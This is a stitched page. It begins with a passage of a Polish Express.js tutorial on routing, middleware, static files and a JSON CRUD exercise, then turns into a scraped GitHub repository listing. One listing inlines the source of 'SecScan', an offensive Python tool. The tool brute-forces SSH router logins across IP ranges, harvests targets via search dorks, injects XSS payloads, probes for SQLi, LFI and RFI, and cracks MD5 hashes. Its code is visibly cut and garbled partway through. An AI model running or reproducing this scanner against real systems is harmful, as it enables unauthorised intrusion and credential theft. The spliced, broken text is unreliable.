jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
pigsy/rake
client, dynamic, featured, rake, service, services, test 		Rake is a full-featured dynamic RPC client for lets you test your RPC services like Paw or Postman for HTTP APIs. 0 stars 0 watchers 0 forks
sankalprao/postman-guild
dynamic, parameter, variable 		A repository of postman tips and tricks- parameterisation, dynamic variable referencing and so on. 0 stars 0 watchers 0 forks
selfpoised/postmanExample
application, dynamic 		Add dynamic Java code to your application 0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks

sends (7 listings) (Back to Top)

udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
foonster/postman
file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables 		Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
neshoj/tcp-postman
back end, drive, driven, implementation, initiate, send, sends, server, server., solution, solutions 		Angular4 implementation of an app that sends JSON request to a back end server that initiates tcp requests to a target server. Best for POS driven solutions. 1 stars 1 watchers 0 forks
rishav394/Email-sender-no-IMAP
client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools 		Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. 1 stars 1 watchers 0 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
anthonygilbertt/Node-and-Express-App
application, data, send, sends, validation 		A Node and Express application that has built in data validation using Joi and sends requests via Postman 0 stars 0 watchers 0 forks

exchange (7 listings) (Back to Top)

binance-exchange/binance-api-postman
description, exchange, script 		No description available. 0 stars 0 watchers 6 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
VictorDeon/Pigeon
communication, component, components, exchange, framework, media, message, messages, python, service, services, type, types 		Pigeon is a framework developed in python that was made to intermediate the use of RabbitMQ services in a quick and easy way, these services of communication between components / services through different types of context of exchange of messages 1 stars 1 watchers 0 forks
Adobe-Marketing-Cloud/exchange-aep-profile-integration-postman
assist, collection, exchange, file, files, integration, partner, partners, postman collection, profile 		A postman collection to assist Exchange partners to build an integration with AEP Profiles 0 stars 0 watchers 0 forks
he77y/Cryptokart-OpenExchange-master
bitcoin, exchange, node 		Implementation of a bitcoin exchange using node and couchbase. (Development Mode) 0 stars 0 watchers 0 forks
pramodkondur/REST-social-app
